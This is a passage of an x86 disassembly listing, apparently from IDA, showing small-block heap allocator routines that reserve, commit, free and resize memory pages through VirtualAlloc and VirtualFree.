var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, ds:off_451BBC
mov [ebp+var_14], eax
loc_425FBE: ; CODE XREF: sub_425FB0+14Dj
mov ecx, [ebp+var_14]
cmp dword ptr [ecx+10h], 0FFFFFFFFh
jz loc_4260EE
mov [ebp+var_C], 3FFh
mov [ebp+var_10], 0
mov edx, [ebp+var_C]
mov eax, [ebp+var_14]
lea ecx, [eax+edx*8+18h]
mov [ebp+var_4], ecx
jmp short loc_425FFA
; ---------------------------------------------------------------------------
loc_425FE8: ; CODE XREF: sub_425FB0:loc_42607Fj
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
mov eax, [ebp+var_4]
sub eax, 8
mov [ebp+var_4], eax
loc_425FFA: ; CODE XREF: sub_425FB0+36j
cmp [ebp+var_C], 0
jl loc_426084
mov ecx, [ebp+var_4]
cmp dword ptr [ecx], 0F0h
jnz short loc_42607F
push 4000h
push 1000h
mov edx, [ebp+var_C]
shl edx, 0Ch
mov eax, [ebp+var_14]
mov ecx, [eax+10h]
add ecx, edx
push ecx
call ds:dword_4F54B0 ; VirtualFree
test eax, eax
jz short loc_42607F
mov edx, [ebp+var_4]
mov dword ptr [edx], 0FFFFFFFFh
mov eax, ds:dword_4F33E0
sub eax, 1
mov ds:dword_4F33E0, eax
mov ecx, [ebp+var_14]
cmp dword ptr [ecx+0Ch], 0
jz short loc_42605C
mov edx, [ebp+var_14]
mov eax, [edx+0Ch]
cmp eax, [ebp+var_4]
jbe short loc_426065
loc_42605C: ; CODE XREF: sub_425FB0+9Fj
mov ecx, [ebp+var_14]
mov edx, [ebp+var_4]
mov [ecx+0Ch], edx
loc_426065: ; CODE XREF: sub_425FB0+AAj
mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
mov ecx, [ebp+arg_0]
sub ecx, 1
mov [ebp+arg_0], ecx
cmp [ebp+arg_0], 0
jnz short loc_42607F
jmp short loc_426084
; ---------------------------------------------------------------------------
loc_42607F: ; CODE XREF: sub_425FB0+5Dj
; sub_425FB0+80j ...
jmp loc_425FE8
; ---------------------------------------------------------------------------
loc_426084: ; CODE XREF: sub_425FB0+4Ej
; sub_425FB0+CDj
mov edx, [ebp+var_14]
mov [ebp+var_8], edx
mov eax, [ebp+var_14]
mov ecx, [eax+4]
mov [ebp+var_14], ecx
cmp [ebp+var_10], 0
jz short loc_4260EE
mov edx, [ebp+var_8]
cmp dword ptr [edx+18h], 0FFFFFFFFh
jnz short loc_4260EE
mov [ebp+var_C], 1
mov eax, [ebp+var_8]
add eax, 20h
mov [ebp+var_4], eax
jmp short loc_4260C6
; ---------------------------------------------------------------------------
loc_4260B4: ; CODE XREF: sub_425FB0+127j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+var_4]
add edx, 8
mov [ebp+var_4], edx
loc_4260C6: ; CODE XREF: sub_425FB0+102j
cmp [ebp+var_C], 400h
jge short loc_4260D9
mov eax, [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_4260D9
jmp short loc_4260B4
; ---------------------------------------------------------------------------
loc_4260D9: ; CODE XREF: sub_425FB0+11Dj
; sub_425FB0+125j
cmp [ebp+var_C], 400h
jnz short loc_4260EE
mov ecx, [ebp+var_8]
push ecx
call sub_425F30
add esp, 4
loc_4260EE: ; CODE XREF: sub_425FB0+15j
; sub_425FB0+E7j ...
mov edx, [ebp+var_14]
cmp edx, ds:off_451BBC
jz short loc_426103
cmp [ebp+arg_0], 0
jg loc_425FBE
loc_426103: ; CODE XREF: sub_425FB0+147j
mov esp, ebp
pop ebp
retn
sub_425FB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426110 proc near ; CODE XREF: sub_41D6B0+B6p
; sub_423620+12Bp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], offset off_451BB8
loc_42611D: ; CODE XREF: sub_426110+88j
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
cmp ecx, [eax+10h]
jbe short loc_426189
mov edx, [ebp+var_8]
mov eax, [ebp+arg_0]
cmp eax, [edx+14h]
jnb short loc_426189
mov ecx, [ebp+arg_0]
and ecx, 0Fh
test ecx, ecx
jnz short loc_426185
mov edx, [ebp+arg_0]
and edx, 0FFFh
xor eax, eax
add eax, 100h
cmp edx, eax
jb short loc_426185
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx], edx
mov eax, [ebp+arg_0]
and eax, 0FFFFF000h
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+var_4]
add eax, 100h
mov ecx, [ebp+arg_0]
sub ecx, eax
sar ecx, 4
mov edx, [ebp+var_4]
lea eax, [edx+ecx+8]
jmp short loc_42619C
; ---------------------------------------------------------------------------
loc_426185: ; CODE XREF: sub_426110+2Bj
; sub_426110+3Fj
xor eax, eax
jmp short loc_42619C
; ---------------------------------------------------------------------------
loc_426189: ; CODE XREF: sub_426110+16j
; sub_426110+21j
mov eax, [ebp+var_8]
mov ecx, [eax]
mov [ebp+var_8], ecx
cmp [ebp+var_8], offset off_451BB8
jnz short loc_42611D
xor eax, eax
loc_42619C: ; CODE XREF: sub_426110+73j
; sub_426110+77j
mov esp, ebp
pop ebp
retn
sub_426110 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4261A0 proc near ; CODE XREF: sub_423830+340p
; sub_423830+3ADp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
mov edx, [ebp+arg_0]
lea eax, [edx+ecx*8+18h]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+var_4]
mov ecx, [eax]
add ecx, edx
mov edx, [ebp+var_4]
mov [edx], ecx
mov eax, [ebp+arg_8]
mov byte ptr [eax], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0F1h
mov edx, [ebp+var_4]
cmp dword ptr [edx], 0F0h
jnz short loc_426208
mov eax, ds:dword_4F33E0
add eax, 1
mov ds:dword_4F33E0, eax
cmp ds:dword_4F33E0, 20h
jnz short loc_426208
push 10h
call sub_425FB0
add esp, 4
loc_426208: ; CODE XREF: sub_4261A0+46j
; sub_4261A0+5Cj
mov esp, ebp
pop ebp
retn
sub_4261A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426210 proc near ; CODE XREF: sub_4234C0+CEp
; sub_423830+2ECp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
mov eax, ds:off_453BD8
mov [ebp+var_20], eax
loc_42621E: ; CODE XREF: sub_426210+188j
mov ecx, [ebp+var_20]
cmp dword ptr [ecx+10h], 0FFFFFFFFh
jz loc_426387
mov edx, [ebp+var_20]
mov eax, [edx+8]
mov [ebp+var_4], eax
mov ecx, [ebp+var_20]
add ecx, 2018h
mov [ebp+var_10], ecx
mov edx, [ebp+var_20]
add edx, 18h
mov eax, [ebp+var_4]
sub eax, edx
sar eax, 3
shl eax, 0Ch
mov ecx, [ebp+var_20]
mov edx, [ecx+10h]
add edx, eax
mov [ebp+var_8], edx
jmp short loc_426273
; ---------------------------------------------------------------------------
loc_42625E: ; CODE XREF: sub_426210:loc_4262DFj
mov eax, [ebp+var_4]
add eax, 8
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
add ecx, 1000h
mov [ebp+var_8], ecx
loc_426273: ; CODE XREF: sub_426210+4Cj
mov edx, [ebp+var_4]
cmp edx, [ebp+var_10]
jnb short loc_4262E4
mov eax, [ebp+var_4]
mov ecx, [eax]
cmp ecx, [ebp+arg_0]
jl short loc_4262DF
mov edx, [ebp+var_4]
mov eax, [edx+4]
cmp eax, [ebp+arg_0]
jbe short loc_4262DF
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_4]
mov eax, [edx]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_4265D0
add esp, 0Ch
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_4262D6
mov edx, [ebp+var_20]
mov ds:off_453BD8, edx
mov eax, [ebp+var_4]
mov ecx, [eax]
sub ecx, [ebp+arg_0]
mov edx, [ebp+var_4]
mov [edx], ecx
mov eax, [ebp+var_20]
mov ecx, [ebp+var_4]
mov [eax+8], ecx
mov eax, [ebp+var_C]
jmp loc_4265C4
; ---------------------------------------------------------------------------
loc_4262D6: ; CODE XREF: sub_426210+9Dj
mov edx, [ebp+var_4]
mov eax, [ebp+arg_0]
mov [edx+4], eax
loc_4262DF: ; CODE XREF: sub_426210+73j
; sub_426210+7Ej
jmp loc_42625E
; ---------------------------------------------------------------------------
loc_4262E4: ; CODE XREF: sub_426210+69j
mov ecx, [ebp+var_20]
add ecx, 18h
mov [ebp+var_4], ecx
mov edx, [ebp+var_20]
mov eax, [edx+8]
mov [ebp+var_10], eax
mov ecx, [ebp+var_20]
mov edx, [ecx+10h]
mov [ebp+var_8], edx
jmp short loc_426316
; ---------------------------------------------------------------------------
loc_426301: ; CODE XREF: sub_426210:loc_426382j
mov eax, [ebp+var_4]
add eax, 8
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
add ecx, 1000h
mov [ebp+var_8], ecx
loc_426316: ; CODE XREF: sub_426210+EFj
mov edx, [ebp+var_4]
cmp edx, [ebp+var_10]
jnb short loc_426387
mov eax, [ebp+var_4]
mov ecx, [eax]
cmp ecx, [ebp+arg_0]
jl short loc_426382
mov edx, [ebp+var_4]
mov eax, [edx+4]
cmp eax, [ebp+arg_0]
jbe short loc_426382
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_4]
mov eax, [edx]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_4265D0
add esp, 0Ch
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_426379
mov edx, [ebp+var_20]
mov ds:off_453BD8, edx
mov eax, [ebp+var_4]
mov ecx, [eax]
sub ecx, [ebp+arg_0]
mov edx, [ebp+var_4]
mov [edx], ecx
mov eax, [ebp+var_20]
mov ecx, [ebp+var_4]
mov [eax+8], ecx
mov eax, [ebp+var_C]
jmp loc_4265C4
; ---------------------------------------------------------------------------
loc_426379: ; CODE XREF: sub_426210+140j
mov edx, [ebp+var_4]
mov eax, [ebp+arg_0]
mov [edx+4], eax
loc_426382: ; CODE XREF: sub_426210+116j
; sub_426210+121j
jmp loc_426301
; ---------------------------------------------------------------------------
loc_426387: ; CODE XREF: sub_426210+15j
; sub_426210+10Cj
mov ecx, [ebp+var_20]
mov edx, [ecx]
mov [ebp+var_20], edx
mov eax, [ebp+var_20]
cmp eax, ds:off_453BD8
jnz loc_42621E
mov [ebp+var_20], offset off_451BB8
loc_4263A5: ; CODE XREF: sub_426210+346j
mov ecx, [ebp+var_20]
cmp dword ptr [ecx+10h], 0FFFFFFFFh
jz loc_426547
mov edx, [ebp+var_20]
cmp dword ptr [edx+0Ch], 0
jz loc_426547
mov eax, [ebp+var_20]
mov ecx, [eax+0Ch]
mov [ebp+var_4], ecx
mov edx, [ebp+var_20]
add edx, 18h
mov eax, [ebp+var_4]
sub eax, edx
sar eax, 3
shl eax, 0Ch
mov ecx, [ebp+var_20]
mov edx, [ecx+10h]
add edx, eax
mov [ebp+var_8], edx
mov [ebp+var_14], 0
mov eax, [ebp+var_4]
mov [ebp+var_10], eax
jmp short loc_426405
; ---------------------------------------------------------------------------
loc_4263F3: ; CODE XREF: sub_426210+203j
mov ecx, [ebp+var_10]
add ecx, 8
mov [ebp+var_10], ecx
mov edx, [ebp+var_14]
add edx, 1
mov [ebp+var_14], edx
loc_426405: ; CODE XREF: sub_426210+1E1j
mov eax, [ebp+var_10]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_426415
cmp [ebp+var_14], 10h
jge short loc_426415
jmp short loc_4263F3
; ---------------------------------------------------------------------------
loc_426415: ; CODE XREF: sub_426210+1FBj
; sub_426210+201j
push 4
push 1000h
mov ecx, [ebp+var_14]
shl ecx, 0Ch
push ecx
mov edx, [ebp+var_8]
push edx
call ds:dword_4F54B4 ; VirtualAlloc
cmp eax, [ebp+var_8]
jnz loc_426543
push 0
mov eax, [ebp+var_14]
shl eax, 0Ch
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_41E4B0
add esp, 0Ch
mov [ebp+var_18], 0
mov edx, [ebp+var_8]
mov [ebp+var_1C], edx
mov eax, [ebp+var_4]
mov [ebp+var_10], eax
jmp short loc_42647E
; ---------------------------------------------------------------------------
loc_426460: ; CODE XREF: sub_426210+2A8j
mov ecx, [ebp+var_18]
add ecx, 1
mov [ebp+var_18], ecx
mov edx, [ebp+var_1C]
add edx, 1000h
mov [ebp+var_1C], edx
mov eax, [ebp+var_10]
add eax, 8
mov [ebp+var_10], eax
loc_42647E: ; CODE XREF: sub_426210+24Ej
mov ecx, [ebp+var_18]
cmp ecx, [ebp+var_14]
jge short loc_4264BA
mov edx, [ebp+var_1C]
add edx, 8
mov eax, [ebp+var_1C]
mov [eax], edx
mov ecx, [ebp+var_1C]
mov dword ptr [ecx+4], 0F0h
mov edx, [ebp+var_1C]
mov byte ptr [edx+0F8h], 0FFh
mov eax, [ebp+var_10]
mov dword ptr [eax], 0F0h
mov ecx, [ebp+var_10]
mov dword ptr [ecx+4], 0F1h
jmp short loc_426460
; ---------------------------------------------------------------------------
loc_4264BA: ; CODE XREF: sub_426210+274j
mov edx, [ebp+var_20]
mov ds:off_453BD8, edx
loc_4264C3: ; CODE XREF: sub_426210+2D1j
mov eax, [ebp+var_20]
add eax, 2018h
cmp [ebp+var_10], eax
jnb short loc_4264E3
mov ecx, [ebp+var_10]
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_4264E3
mov edx, [ebp+var_10]
add edx, 8
mov [ebp+var_10], edx
jmp short loc_4264C3
; ---------------------------------------------------------------------------
loc_4264E3: ; CODE XREF: sub_426210+2BEj
; sub_426210+2C6j
mov eax, [ebp+var_20]
add eax, 2018h
cmp [ebp+var_10], eax
sbb ecx, ecx
and ecx, [ebp+var_10]
mov edx, [ebp+var_20]
mov [edx+0Ch], ecx
mov eax, [ebp+var_8]
mov cl, byte ptr [ebp+arg_0]
mov [eax+8], cl
mov edx, [ebp+var_20]
mov eax, [ebp+var_4]
mov [edx+8], eax
mov ecx, [ebp+var_4]
mov edx, [ecx]
sub edx, [ebp+arg_0]
mov eax, [ebp+var_4]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
lea eax, [edx+ecx+8]
mov ecx, [ebp+var_8]
mov [ecx], eax
mov edx, [ebp+var_8]
mov eax, [edx+4]
sub eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [ecx+4], eax
mov eax, [ebp+var_8]
add eax, 100h
jmp loc_4265C4
; ---------------------------------------------------------------------------
loc_426543: ; CODE XREF: sub_426210+220j
xor eax, eax
jmp short loc_4265C4
; ---------------------------------------------------------------------------
loc_426547: ; CODE XREF: sub_426210+19Cj
; sub_426210+1A9j
mov edx, [ebp+var_20]
mov eax, [edx]
mov [ebp+var_20], eax
cmp [ebp+var_20], offset off_451BB8
jnz loc_4263A5
call sub_425D50
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jz short loc_4265C2
mov ecx, [ebp+var_20]
mov edx, [ecx+10h]
mov [ebp+var_8], edx
mov eax, [ebp+var_8]
mov cl, byte ptr [ebp+arg_0]
mov [eax+8], cl
mov edx, [ebp+var_20]
mov ds:off_453BD8, edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
lea edx, [ecx+eax+8]
mov eax, [ebp+var_8]
mov [eax], edx
mov ecx, 0F0h
sub ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [edx+4], ecx
mov eax, [ebp+arg_0]
and eax, 0FFh
mov ecx, [ebp+var_20]
mov edx, [ecx+18h]
sub edx, eax
mov eax, [ebp+var_20]
mov [eax+18h], edx
mov eax, [ebp+var_8]
add eax, 100h
jmp short loc_4265C4
; ---------------------------------------------------------------------------
loc_4265C2: ; CODE XREF: sub_426210+358j
xor eax, eax
loc_4265C4: ; CODE XREF: sub_426210+C1j
; sub_426210+164j ...
mov esp, ebp
pop ebp
retn
sub_426210 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4265D0 proc near ; CODE XREF: sub_426210+8Ep
; sub_426210+131p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
add eax, 0F8h
mov [ebp+var_14], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
cmp edx, [ebp+arg_8]
jb short loc_42665D
mov eax, [ebp+var_8]
mov cl, byte ptr [ebp+arg_8]
mov [eax], cl
mov edx, [ebp+var_8]
add edx, [ebp+arg_8]
cmp edx, [ebp+var_14]
jnb short loc_42662B
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, [ebp+arg_8]
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
sub ecx, [ebp+arg_8]
mov edx, [ebp+arg_0]
mov [edx+4], ecx
jmp short loc_426640
; ---------------------------------------------------------------------------
loc_42662B: ; CODE XREF: sub_4265D0+3Bj
mov eax, [ebp+arg_0]
add eax, 8
mov ecx, [ebp+arg_0]
mov [ecx], eax
mov edx, [ebp+arg_0]
mov dword ptr [edx+4], 0
loc_426640: ; CODE XREF: sub_4265D0+59j
mov eax, [ebp+arg_0]
add eax, 8
mov ecx, [ebp+var_8]
sub ecx, eax
shl ecx, 4
mov edx, [ebp+arg_0]
lea eax, [edx+ecx+100h]
jmp loc_426875
; ---------------------------------------------------------------------------
loc_42665D: ; CODE XREF: sub_4265D0+28j
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
mov edx, [ebp+var_8]
xor eax, eax
mov al, [edx+ecx]
test eax, eax
jz short loc_42667B
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
add edx, [ecx+4]
mov [ebp+var_8], edx
loc_42667B: ; CODE XREF: sub_4265D0+9Dj
; sub_4265D0:loc_426774j
mov eax, [ebp+var_8]
add eax, [ebp+arg_8]
cmp eax, [ebp+var_14]
jnb loc_426779
mov ecx, [ebp+var_8]
xor edx, edx
mov dl, [ecx]
test edx, edx
jnz loc_426765
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_C], eax
mov [ebp+var_10], 1
jmp short loc_4266BD
; ---------------------------------------------------------------------------
loc_4266AB: ; CODE XREF: sub_4265D0+F8j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
loc_4266BD: ; CODE XREF: sub_4265D0+D9j
mov eax, [ebp+var_C]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jnz short loc_4266CA
jmp short loc_4266AB
; ---------------------------------------------------------------------------
loc_4266CA: ; CODE XREF: sub_4265D0+F6j
mov edx, [ebp+var_10]
cmp edx, [ebp+arg_8]
jnb short loc_426705
mov eax, [ebp+var_8]
cmp eax, [ebp+var_4]
jnz short loc_4266E5
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_10]
mov [ecx+4], edx
jmp short loc_4266FD
; ---------------------------------------------------------------------------
loc_4266E5: ; CODE XREF: sub_4265D0+108j
mov eax, [ebp+arg_4]
sub eax, [ebp+var_10]
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_4266FD
xor eax, eax
jmp loc_426875
; ---------------------------------------------------------------------------
loc_4266FD: ; CODE XREF: sub_4265D0+113j
; sub_4265D0+124j
mov edx, [ebp+var_C]
mov [ebp+var_8], edx
jmp short loc_426763
; ---------------------------------------------------------------------------
loc_426705: ; CODE XREF: sub_4265D0+100j
mov eax, [ebp+var_8]
add eax, [ebp+arg_8]
cmp eax, [ebp+var_14]
jnb short loc_426729
mov ecx, [ebp+var_8]
add ecx, [ebp+arg_8]
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+var_10]
sub eax, [ebp+arg_8]
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
jmp short loc_42673E
; ---------------------------------------------------------------------------
loc_426729: ; CODE XREF: sub_4265D0+13Ej
mov edx, [ebp+arg_0]
add edx, 8
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+4], 0
loc_42673E: ; CODE XREF: sub_4265D0+157j
mov edx, [ebp+var_8]
mov al, byte ptr [ebp+arg_8]
mov [edx], al
mov ecx, [ebp+arg_0]
add ecx, 8
mov edx, [ebp+var_8]
sub edx, ecx
shl edx, 4
mov eax, [ebp+arg_0]
lea eax, [eax+edx+100h]
jmp loc_426875
; ---------------------------------------------------------------------------
loc_426763: ; CODE XREF: sub_4265D0+133j
jmp short loc_426774
; ---------------------------------------------------------------------------
loc_426765: ; CODE XREF: sub_4265D0+C3j
mov ecx, [ebp+var_8]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+var_8]
add eax, edx
mov [ebp+var_8], eax
loc_426774: ; CODE XREF: sub_4265D0:loc_426763j
jmp loc_42667B
; ---------------------------------------------------------------------------
loc_426779: ; CODE XREF: sub_4265D0+B4j
mov ecx, [ebp+arg_0]
add ecx, 8
mov [ebp+var_8], ecx
loc_426782: ; CODE XREF: sub_4265D0:loc_42686Ej
mov edx, [ebp+var_8]
cmp edx, [ebp+var_4]
jnb loc_426873
mov eax, [ebp+var_8]
add eax, [ebp+arg_8]
cmp eax, [ebp+var_14]
jnb loc_426873
mov ecx, [ebp+var_8]
xor edx, edx
mov dl, [ecx]
test edx, edx
jnz loc_42685F
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_C], eax
mov [ebp+var_10], 1
jmp short loc_4267D0
; ---------------------------------------------------------------------------
loc_4267BE: ; CODE XREF: sub_4265D0+20Bj
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
loc_4267D0: ; CODE XREF: sub_4265D0+1ECj
mov eax, [ebp+var_C]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jnz short loc_4267DD
jmp short loc_4267BE
; ---------------------------------------------------------------------------
loc_4267DD: ; CODE XREF: sub_4265D0+209j
mov edx, [ebp+var_10]
cmp edx, [ebp+arg_8]
jnb short loc_426802
mov eax, [ebp+arg_4]
sub eax, [ebp+var_10]
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_4267FA
xor eax, eax
jmp short loc_426875
; ---------------------------------------------------------------------------
loc_4267FA: ; CODE XREF: sub_4265D0+224j
mov edx, [ebp+var_C]
mov [ebp+var_8], edx
jmp short loc_42685D
; ---------------------------------------------------------------------------
loc_426802: ; CODE XREF: sub_4265D0+213j
mov eax, [ebp+var_8]
add eax, [ebp+arg_8]
cmp eax, [ebp+var_14]
jnb short loc_426826
mov ecx, [ebp+var_8]
add ecx, [ebp+arg_8]
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+var_10]
sub eax, [ebp+arg_8]
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
jmp short loc_42683B
; ---------------------------------------------------------------------------
loc_426826: ; CODE XREF: sub_4265D0+23Bj
mov edx, [ebp+arg_0]
add edx, 8
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+4], 0
loc_42683B: ; CODE XREF: sub_4265D0+254j
mov edx, [ebp+var_8]
mov al, byte ptr [ebp+arg_8]
mov [edx], al
mov ecx, [ebp+arg_0]
add ecx, 8
mov edx, [ebp+var_8]
sub edx, ecx
shl edx, 4
mov eax, [ebp+arg_0]
lea eax, [eax+edx+100h]
jmp short loc_426875
; ---------------------------------------------------------------------------
loc_42685D: ; CODE XREF: sub_4265D0+230j
jmp short loc_42686E
; ---------------------------------------------------------------------------
loc_42685F: ; CODE XREF: sub_4265D0+1D6j
mov ecx, [ebp+var_8]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+var_8]
add eax, edx
mov [ebp+var_8], eax
loc_42686E: ; CODE XREF: sub_4265D0:loc_42685Dj
jmp loc_426782
; ---------------------------------------------------------------------------
loc_426873: ; CODE XREF: sub_4265D0+1B8j
; sub_4265D0+1C7j
xor eax, eax
loc_426875: ; CODE XREF: sub_4265D0+88j
; sub_4265D0+128j ...
mov esp, ebp
pop ebp
retn
sub_4265D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426880 proc near ; CODE XREF: sub_423620+161p
; sub_423830+2D1p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 18h
mov [ebp+var_14], 0
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
mov edx, [ebp+arg_0]
lea eax, [edx+ecx*8+18h]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
xor edx, edx
mov dl, [ecx]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
cmp eax, [ebp+arg_C]
jbe short loc_4268E7
mov ecx, [ebp+arg_8]
mov dl, byte ptr [ebp+arg_C]
mov [ecx], dl
mov eax, [ebp+var_C]
sub eax, [ebp+arg_C]
mov ecx, [ebp+var_4]
mov edx, [ecx]
add edx, eax
mov eax, [ebp+var_4]
mov [eax], edx
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0F1h
mov edx, [ebp+var_14]
add edx, 1
mov [ebp+var_14], edx
jmp loc_4269DD
; ---------------------------------------------------------------------------
loc_4268E7: ; CODE XREF: sub_426880+33j
mov eax, [ebp+var_C]
cmp eax, [ebp+arg_C]
jnb loc_4269DD
mov ecx, [ebp+arg_8]
add ecx, [ebp+arg_C]
mov edx, [ebp+arg_4]
add edx, 0F8h
cmp ecx, edx
ja loc_4269DD
mov eax, [ebp+arg_8]
add eax, [ebp+var_C]
mov [ebp+var_10], eax
mov ecx, [ebp+arg_8]
add ecx, [ebp+arg_C]
mov [ebp+var_18], ecx
jmp short loc_426927
; ---------------------------------------------------------------------------
loc_42691E: ; CODE XREF: sub_426880+BAj
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
loc_426927: ; CODE XREF: sub_426880+9Cj
mov eax, [ebp+var_10]
cmp eax, [ebp+var_18]
jnb short loc_42693C
mov ecx, [ebp+var_10]
xor edx, edx
mov dl, [ecx]
test edx, edx
jnz short loc_42693C
jmp short loc_42691E
; ---------------------------------------------------------------------------
loc_42693C: ; CODE XREF: sub_426880+ADj
; sub_426880+B8j
mov eax, [ebp+var_10]
cmp eax, [ebp+var_18]
jnz loc_4269DD
mov ecx, [ebp+arg_8]
mov dl, byte ptr [ebp+arg_C]
mov [ecx], dl
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_8]
cmp ecx, [eax]
ja short loc_4269C2
mov edx, [ebp+arg_4]
mov eax, [ebp+var_18]
cmp eax, [edx]
jbe short loc_4269C2
mov ecx, [ebp+arg_4]
add ecx, 0F8h
cmp [ebp+var_18], ecx
jnb short loc_4269AD
mov edx, [ebp+arg_4]
mov eax, [ebp+var_18]
mov [edx], eax
mov [ebp+var_8], 0
jmp short loc_426995
; ---------------------------------------------------------------------------
loc_426983: ; CODE XREF: sub_426880+120j
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
mov edx, [ebp+var_18]
add edx, 1
mov [ebp+var_18], edx
loc_426995: ; CODE XREF: sub_426880+101j
mov eax, [ebp+var_18]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jnz short loc_4269A2
jmp short loc_426983
; ---------------------------------------------------------------------------
loc_4269A2: ; CODE XREF: sub_426880+11Ej
mov edx, [ebp+arg_4]
mov eax, [ebp+var_8]
mov [edx+4], eax
jmp short loc_4269C2
; ---------------------------------------------------------------------------
loc_4269AD: ; CODE XREF: sub_426880+F0j
mov ecx, [ebp+arg_4]
add ecx, 8
mov edx, [ebp+arg_4]
mov [edx], ecx
mov eax, [ebp+arg_4]
mov dword ptr [eax+4], 0
loc_4269C2: ; CODE XREF: sub_426880+D8j
; sub_426880+E2j ...
mov ecx, [ebp+var_C]
